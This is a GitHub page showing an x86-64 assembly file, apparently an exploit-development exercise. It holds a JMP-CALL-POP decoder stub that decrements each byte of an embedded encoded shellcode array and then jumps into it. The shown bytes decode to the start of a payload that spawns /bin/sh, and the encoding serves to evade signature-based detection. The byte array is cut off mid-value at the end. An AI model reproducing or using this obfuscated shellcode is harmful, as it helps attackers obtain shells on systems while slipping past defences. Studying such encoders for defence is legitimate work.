Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
23 lines (16 sloc) 529 Bytes
global _start
section .text
_start:
jmp get_address
decoder:
pop rsi ; Pop the address of 'shellcode' into %rsi as our "source code"
push 32 ; Length of the shellcode below
pop rcx
decode:
dec byte [rsi] ; Perform the decrement "inplace"
inc rsi ; Increment the address in %rsi by one
loop decode
jmp shellcode
get_address:
call decoder
shellcode: db 0x49,0x32,0xc1,0x51,0x49,0xbc,0x30,0x63,0x6a,0x6f,0x30,0x30,0x74,0x69,0x54,0x49,0x8a,0xe8,0x51,0x49,0x8a,0xe3,0x58,0x49,0x8a,0xe7,0x49,0x84,0xc1,0x3c,0x10,0x6